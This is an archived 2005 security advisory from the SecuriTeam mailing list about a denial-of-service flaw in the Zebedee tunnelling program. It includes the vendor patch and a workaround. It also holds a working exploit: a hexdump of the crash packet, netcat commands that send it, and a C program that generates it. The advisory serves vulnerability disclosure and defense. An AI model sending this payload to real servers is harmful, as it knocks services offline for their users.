Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NEWS] Zebedee DoS |
|---|---|
| Date: | 13 Sep 2005 16:04:58 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Zebedee DoS ------------------------------------------------------------------------ SUMMARY " <http://www.winton.org.uk/zebedee/> Zebedee is a simple program to establish an encrypted, compressed tunnel for TCP/IP or UDP data transfer between two systems." Lack of proper validation of the user provided port range allows attackers to cause the Zebedee program to crash. DETAILS Vulnerable Systems: * Zebedee version 2.4.1 Immune Systems: * Zebedee version 2.4.1a The server crashes whenever "0" received as the port number in the protocol option header. $ od -tx1z -Ax zebedeeDoS 000000 02 01 00 00 20 00 00 06 00 00 00 80 ff ff ff ff >.... ...........< 000010 0b d8 30 b3 21 9c a6 74 00 00 00 00 >..0.!..t....< 00001c The 9th and 10th byte of the header contains 0x00. $ nc -vv -z -w2 zebedeehost 11965 zebedeehost [192.168.xxx.xxx] 11965 (?) open sent 0, rcvd 0 $ nc -vv zebedeehost 11965 < zebedeeDoS zebedeehost [192.168.xxx.xxx] 11965 (?) open sent 28, rcvd 2 $ nc -vv -z -w2 zebedeehost 11965 zebedeehost [192.168.xxx.xxx] 11965 (?) : Connection refused sent 0, rcvd 0 $ In the zebedee.c, look at the function makeConnection() which called from server(), 1703 /* Sanity check */ 1704 1705 assert(host != NULL && port != 0); 1706 Here, if the port number is "0", both sub and parent processes seemed to quit running. This issue occurs when the "allowed redirection port" not set(in default). Vendor Patch: *** zebedee-2.4.1/zebedee.c Tue May 28 07:31:15 2002 --- zebedee-2.4.1A/zebedee.c Tue Sep 6 21:32:03 2005 *************** *** 22,28 **** */ char *zebedee_c_rcsid = "$Id: zebedee.c,v 1.25 2002/05/28 06:31:15 ndwinton Exp $"; ! #define RELEASE_STR "2.4.1" #include <stdio.h> #include <stdlib.h> --- 22,28 ---- */ char *zebedee_c_rcsid = "$Id: zebedee.c,v 1.25 2002/05/28 06:31:15 ndwinton Exp $"; ! #define RELEASE_STR "2.4.1A" #include <stdio.h> #include <stdlib.h> *************** *** 3936,3941 **** --- 3936,3950 ---- assert(AllowedTargets != NULL); /* + ** Port 0 is invalid data in the request packet, never allowed + */ + if (port == 0) + { + message(0, 0, "request for target port 0 disallowed"); + return 0; + } + + /* ** If the address is all zeroes then we will assume the default target ** host, if any. */ Workaround: Setting up allowed redirection ports will address this issue. Exploit: /* $ gcc -o mkZebedeeDoS mkZebedeeDoS.c $ ./mkZebedeeDoS > zebedeeDoS $ nc targethost port < zebedeeDoS */ #include <stdio.h> int main (int argc, char **argv) { int i, size; char data[] = { 0x02, 0x01, // protocol version 0x00, 0x00, // flags 0x20, 0x00, // max message size 0x00, 0x06, // compression info 0x00, 0x00, // port request: value = 0x0 0x00, 0x80, // key length 0xff, 0xff, 0xff, 0xff, // key token 0x0b, 0xd8, 0x30, 0xb3, 0x21, 0x9c, 0xa6, 0x74, // nonce value 0x00, 0x00, 0x00, 0x00 // target host address }; size = 28; for(i=0; i<size; i++){ printf("%c", data[i]); } return 0; } /* EoF */ ADDITIONAL INFORMATION The information has been provided by <mailto:shiraishi@insi.co.jp> Shiraishi.M. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [TOOL] TAPiON - Polymorphic Deciphering Algorithm Generator Project, SecuriTeam |
|---|---|
| Next by Date: | [NT] Ipswitch Whatsup Multiple Vulnerabilities, SecuriTeam |
| Previous by Thread: | [TOOL] TAPiON - Polymorphic Deciphering Algorithm Generator Project, SecuriTeam |
| Next by Thread: | [NT] Ipswitch Whatsup Multiple Vulnerabilities, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |